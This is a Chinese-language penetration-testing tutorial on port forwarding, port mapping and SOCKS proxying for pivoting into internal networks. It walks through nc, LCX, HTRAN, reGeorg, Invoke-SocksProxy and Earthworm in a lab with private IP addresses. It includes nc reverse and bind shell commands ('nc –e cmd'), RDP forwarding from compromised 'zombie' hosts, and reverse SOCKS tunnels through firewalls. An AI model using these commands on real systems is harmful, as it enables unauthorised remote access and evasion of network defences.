端口轉發&端口映射
0x01 什么是端口轉發
端口轉發(Port forwarding),有時被叫做隧道,是安全殼(SSH)為網絡安全通信使用的一種方法。端口轉發是轉發一個網絡端口從一個網絡節點到另一個網絡節點的行為,其使一個外部用戶從外部經過一個被激活的NAT路由器到達一個在私有內部IP地址(局域網內部)上的一個端口。
普通話:端口轉發就是將一個端口,這個端口可以本機的端口也可以是本機可以訪問到的任意主機的端口,轉發到任意一台可以訪問到的IP上,通常這個IP是公網ip
0x02 什么是端口映射
端口映射是NAT的一種,功能是把在公網的地址轉翻譯成私有地址,
采用路由方式的ADSL寬帶路由器擁有一個動態或固定的公網IP,ADSL直接接在HUB或交換機上,所有的電腦共享上網。
普通話:就是映射端口,就是將一個內網端口映射到公網上的某個端口,假設我自己的電腦是在內網中,沒有公網
IP,但是我想提供一個端口供其他人使用,這就是端口映射
0x03 區分端口映射和端口轉發
端口映射場景:
外網主機A想訪問內網主機B上的服務
端口轉發場景:
外網主機A已經可以任意內網主機B上的端口,但是無法訪問內網主機C上的端口
此時可以將C主機的端口到B主機的端口,那么外網主機A訪問B主機的某某端口就相當於訪問了C主機的某某
總結:
端口轉發和端口映射原理是一樣的只不過是應用場景不一樣,假如我們將本機的端口轉發到遠程主機端口,我們可以叫端口映射,也可以叫端口轉發,看下圖【注意圖上文字】
我們如果把本機可以訪問到的任意 IP
的端口轉發到另外一台服務器的端口,我們叫他端口轉發,看下圖【注意圖上文字】
0x04 區分正向連接和反向連接
- 正向連接:你的機器連接目標機器
- 反向連接:目標機器反連你的機器
- 不論映射,還是轉發,都有正有反,原理相同
0x05 端口轉發和代理工具
- Lcx
- Htran
- Netcat
0x06 環境拓撲圖
B 主機W7
C 主機XP
0x07 NC
NC 用法
2. NC反向連接-網絡環境設想:
A外網 無法訪問 內網B 【A為攻擊者處於外網】
B內網 可以訪問 外網A
A:192.168.0.226
B:192.168.32.130
適合nc反向連接:也就將內網主機B shell反彈到 外網A
在外網主機A上執行:nc –nvlp 7777
在內網主機B上執行:nc –e cmd 192.168.0.226 7777
3. NC正向連接-網絡環境設想:
A內網 可以訪問 外網B 【A為攻擊者處於內網】
B外網 不能訪問 內網A
適合nc正向連接:也就將內網主機A shell反彈到 外網B
在內網A 上執行 nc –l –p 5555 –e cmd .exe
在外網主機B上執行nc –nvv 192.168.0.226 5555
4. 闡述:
如果客戶端【相當於內網】連接服務器【相當於外網】,想獲取服務器的shell,那么稱為正向shell,如果是客戶端連接服務器,服務器端想獲取客戶端的shell,那么稱為反向shell
NC是安全的瑞士軍刀,太出名了,不光能反彈shell,端口轉發,還能聊天等等
0x08 LCX
LCX用法:
LCX端口映射環境設想:
A外網 無法訪問 內網B 【A為攻擊者處於外網】
B內網 可以訪問 外網A
在內網主機B上執行:lcx.exe –slave 192.168.0.226 7777 192.168.32.132 3389
意思是:將內網 (192.168.32.132) 的 3389 端口轉發到公網 (192.168.0.226) 的 7777
端口
在外網主機A上執行:lcx.exe –listen 7777 5555
意思是:監聽主機上7777 端口 並轉給5555
此時,在主機A連接遠程桌面訪問127.0.0.1:5555 就相當於訪問了B的3389
LCX端口轉發環境設想:
A外網 可以訪問 B
B內網 可以訪問 C
A不能訪問 C
A主機ip:192.168.0.226
B 主機ip:192.168.32.130
C 主機ip:192.168.32.135
在內網主機B上執行:lcx.exe –tran 7777 192.168.32.135 3389
意思是:把C主機的3389端口轉到B的7777端口上
此時訪問B主機上的7777端口就相當於訪問C主機上的3389
在A主機上運行mstsc連接192.168.32.130:7777或者B主機上127.0.0.1:7777就可以訪問到C的3389
闡述
LCX多用於被空計算機(肉雞)處於內網,黑客想使用遠程終端進行管理的情況下,一般黑客會將肉雞3389開啟,之后通過LCX進行端口轉發
0x09 HTRAN
HTRAN用法
HTRAN使用方法-環境設想一
B公網
A可直接訪問B[並且B已經開啟3389,B防火牆禁止3389連接]
B 也可以訪問A
A主機ip:192.168.0.226
B 主機ip:192.168.32.130
C 主機ip:192.168.32.135
方法1:
在B主機上執行:Htran2.4.exe -p -tran 7777 127.0.0.1 3389
意思是:將B的3389轉為本機的7777端口
此時A主機進行遠程桌面終端連接:192.168.32.130:7777
方法2:
在A主機進行監聽執行:HTran2.4.exe -p -listen 8888 9999
意思是:監聽本機8888端口,並將8888端口流量轉到9999
在B主機執行:HTran2.4.exe -p -slave 192.168.0.226 8888 127.0.0.1 3389
意思是:將本機的3389端口轉發到A的8888端口
接下來在A主機上連接遠程桌面訪問本地的9999端口,即可連接到B的3389
HTRAN使用方法-環境設想二
B主機在公網
C在B的內網
A可以訪問B,不可以訪問C
A主機ip:192.168.0.226
B 主機ip:192.168.32.130
C 主機ip:192.168.32.135
方法1:
在B主機上執行:HTran2.4.exe -p -tran 8888 192.168.32.135 3389
意思是:將C主機的3389端口轉發到B主機的8888
此時A連接B的8888就相當於訪問C的3389
方法2:
在B主機上進行監聽HTran2.4.exe -p -listen 7777 9999
意思是:監聽B主機的7777端口,並將流量轉發到9999
在C主機上執行:HTran2.4.exe -p -slave 192.168.32.130 7777 127.0.0.1 3389
意思是:將C的3389轉到B的7777端口
代理
0x01 什么是代理
代理(英語:Proxy),也稱網絡代理,是一種特殊的網絡服務,允許一個網絡終端(一般為客戶端)通過這個服務與另一個網絡終端(一般為服務器)進行非直接的連接。一些網關、路由器等網絡設備具備網絡代理功能。一般認為代理服務有利於保障網絡終端的隱私或安全,防止攻擊
0x02 代理類別
HTTP代理
SOCKS代理
FTP代理
Telnet代理
SSL代理
0x03 區分正向代理和反向代理
正向代理中,proxy 和 client 同屬一個 LAN,對 server 透明; 反向代理中,proxy 和
server 同屬一個 LAN,對 client 透明,一個代理的是客戶端,一個代理的是服務器
0x04 reGeorg+Proxychains 代理
reGeorg是reDuh的繼承者。主要是把內網服務器的端口通過http/https隧道轉發到本機
選擇對應服務器腳本上傳到B主機的服務器,我這里面是php
訪問文件顯示Georg says, 'All seems fine',代理成功
然后執行reGeorgSocksProxy.py文件【需要urllib3模塊】:python2
reGeorgSocksProxy.py –u “http://192.168.32.130/tunnel.php” –p 8888
在命令行界面同樣顯示 All seems fine即可
接下來使用工具Proxifier
首先添加一個server
配置代理規則
這里選擇選擇遠程桌面程序mstsc
連接遠程桌面
可以看到通過代理走的流量
0x05 基於powershell的Socks4/5代理
使用的是Invoke-SocksProxy,地址:https://github.com/p3nt4/Invoke-SocksProxy
Invoke-SocksProxy用法
Invoke-SocksProxy使用方法一
Win10主機ip:192.168.192.130
Win7 主機 ip:192.168.192.129
建立一個sock4/5代理
在Win10上首先以管理員權限運行powershell,如果提示腳本禁止執行,請輸入“set-ExecutionPolicy
RemoteSigned”即可
輸入Import-Module .\Invoke-SocksProxy.psm1 導入模塊
輸入Invoke-SocksProxy -bindPort 1234 在端口1234上創建socks代理
接下來在Win7上使用socks代理軟件,通過Win10的1234端口進行外網訪問
這次我是用的軟件是sockscap,當然Proxychains肯定也行
點擊文件選擇“設置”設置socks服務器IP和端口,點擊應用,確定
Invoke-SocksProxy使用方法二
增加線程方式,輸入Invoke-SocksProxy -bindPort 1234 -threads 400
如果不加-bindPort默認端口1080
0x06 Earthworm
EW 是一套便攜式的網絡穿透工具,具有 SOCKS
v5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透
注:此工具已停止更新、下載
Earthworm用法
下圖是一張示意圖:
該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網絡隧道,直達網絡深處,用蚯蚓獨有的手段突破網絡限制,給防火牆松土。
工具包中提供了多種可執行文件,以適用不同的操作系統,Linux、Windows、MacOS、Arm-Linux
均被包括其內,更多平台的支持還在維護中,敬請期待。
使用方法:
以下所有樣例,如無特殊說明代理端口均為1080,服務均為SOCKSv5代理服務.
該工具共有 6
種命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
- 正向 SOCKS v5 服務器
\$ ./ew -s ssocksd -l 1080
- 反彈 SOCKS v5 服務器
這個操作具體分兩步:
a) 先在一台具有公網 ip 的主機A上運行以下命令:
\$ ./ew -s rcsocks -l 1080 -e 8888
b) 在目標主機B上啟動 SOCKS v5 服務 並反彈到公網主機的 8888端口
\$ ./ew -s rssocks -d 1.1.1.1 -e 8888
成功。
- 多級級聯
工具中自帶的三條端口轉發指令,它們的參數格式分別為:
\$ ./ew -s lcx_listen -l 1080 -e 8888
\$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
\$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
通過這些端口轉發指令可以將處於網絡深層的基於TCP的服務轉發至根前,比如 SOCKS v5。
首先提供兩個“二級級聯”本地SOCKS測試樣例:
a) lcx_tran 的用法
\$ ./ew -s ssocksd -l 9999
\$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
b) lcx_listen、lcx_slave 的用法
\$ ./ew -s lcx_listen -l 1080 -e 8888
\$ ./ew -s ssocksd -l 9999
\$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
再提供一個“三級級聯”的本地SOCKS測試用例以供參考
\$ ./ew -s rcsocks -l 1080 -e 8888
\$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
\$ ./ew -s lcx_listen -l 9999 -e 7777
\$ ./ew -s rssocks -d 127.0.0.1 -e 7777
數據流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
注: 以上內容來源參考自官網或者工具里面的Readme
Earthworm使用方法一【正向代理】
Win7 主機ip:192.168.192.1
Win7 主機 ip:192.168.192.9
目標網絡邊界存在公網IP且可任意開監聽端口:
+---------+ +-------------------+
|HackTools| ->> | 7777-> 192.168.192.9 |
+---------+ +-------------------+
執行:ew_for_win_32.exe -s ssocksd -l 7777
意思是:在 w7 192.168.192. 9 主機上通過這個命令開啟 7777 端口的 socks 代理
接下來可以使用sockscap或者
Proxychains等工具訪問代理端口,因為之前提過用法我就不墨跡了,直接放演示截圖
注:此屬於正向代理,代理的是黑客客戶端,連接的是肉雞相當於服務器
Earthworm使用方法二【反向代理】
Win7 x32 主機ip:192.168.0.75 【hack機】
Win7 主機 ip:192.168.0.226 【公網機】
Win7 主機 ip:192.168.192.9 【內網機】
目標網絡邊界不存在公網 IP,需要通過反彈方式創建 socks 代理
192.168.192.9 一台可控公網IP主機 可控內網主機
+---------+ +--------------------------+ | +---------------+
|HackTools| ->> | 1089 ->192.168.0.226 -> 9999 | 防火牆 | \<--
192.168.0.75 |
+---------+ +--------------------------+ | +---------------+
在公網機【vps】上執行:ew_for_win_32.exe -s rcsocks -l 1089 -e 9999
意思是:在 192.168.0.226 的公網主機添加轉接隧道,將 1089
收到的代理請求轉交給反連 9999 端口的主機
在內網主機【可控肉雞】上執行:ew_for_win_32.exe -s rssocks -d 192.168.0.226 -e
9999
意思是:將目標網絡的可控內網主機反向連接公網主機
接下來可以用通過訪問 sockscap或者 Proxychains等工具192.168.0.226:1089 端口使用
rssocks 主機提供的 socks5 代理服務
Earthworm使用方法三
Win7 主機ip:192.168.192.1 【hack機】
Win7 主機 ip:192.168.192.9 【A】
Win7 主機 ip:192.168.192.11 【B】
獲得目標網絡內兩台主機 A、B 的權限,情況描述如下:
A 主機: 存在公網 IP,且自由監聽任意端口,無法訪問特定資源
B 主機: 目標網絡內部主機,可訪問特定資源,但無法訪問公網
A 主機可直連 B 主機
可控邊界主機A 可訪問指定資源的主機B
+---------+ +-----------------------+ +----------------
|HackTools| ->> | 1099 -->192.168.192.9 --> | ->> |7777 ->
192.168.192.11 |
+---------+ +-----------------------+ +-----------------+
在B主機上執行:ew_for_win_32.exe -s ssocksd -l 7777
意思是:在B主機上利用 ssocksd 方式啟動 7777 端口的 socks 代理
在主機A上執行:ew_for_win_32.exe -s lcx_tran -l 1099 -f 192.168.192.11 -g 7777
/意思是將 1080 端口收到的 socks 代理請求轉交給B主機的7777端口。
接下來可以用通過訪問 sockscap或者 Proxychains等工具192.168.192.9:1099 端口使用
rssocks 主機提供的 socks5 代理服務
代理成功截圖:
Earthworm使用方法四
Win7 主機ip:192.168.192.1 【hack機】
Win7 主機 ip:192.168.192.9 【A】
Win7 主機 ip:192.168.192.10 【公網機】
Win7 主機 ip:192.168.192.13 【B】
獲得目標網絡內兩台主機 A、B 的權限,情況描述如下:
A 主機: 目標網絡的邊界主機,無公網 IP,無法訪問特定資源。
B 主機: 目標網絡內部主機,可訪問特定資源,卻無法回連公網。
A 主機可直連 B 主機
- 在公網機上執行:ew_for_win_32.exe -s lcx_listen -l 1099 -e 8888
意思是:在 192.168.192.10 公網IP主機添加轉接隧道,將 1080
收到的代理請求,轉交給反連 8888 端口的主機
- 在主機B上執行:ew_for_win_32.exe -s ssocksd -l 9999
意思是:在 192.168.192.13 【B】主機上利用 ssocksd 方式啟動 9999 端口的 socks
代理
- 在主機A上執行:ew_for_win_32.exe -s lcx_slave -d 192.168.192.10 -e 8888 -f
192.168.192.13 -g 9999
意思是:在 192.168.192.9 上,通過工具的 lcx_slave 方式,打通192.168.192.10:8888
和 192.168.192.13:9999 之間的通訊隧道
- HackTools 可通過訪問192.168.192.10:1099 來使用 192.168.192.13 主機提供的
socks5 代理
成功截圖:
B的
公網機的
A的
Hack機
注:紅色正常我代理機B上不了外網
Earthworm總結
目前工具提供六種鏈路狀態,可通過 -s 參數進行選定,分別為:
ssocksd rcsocks rssocks
lcx_slave lcx_tran lcx_listen
其中 SOCKS5 服務的核心邏輯支持由 ssocksd 和 rssocks
提供,分別對應正向與反向socks代理。
其余的 lcx 鏈路狀態用於打通測試主機同 socks 服務器之間的通路。
lcx 類別管道
lcx_slave 該管道一側通過反彈方式連接代理請求方,另一側連接代理提供主機。
lcx_tran 該管道,通過監聽本地端口接收代理請求,並轉交給代理提供主機。
lcx_listen
該管道,通過監聽本地端口接收數據,並將其轉交給目標網絡回連的代理提供主機。
通過組合lcx類別管道的特性,可以實現多層內網環境下的滲透測試。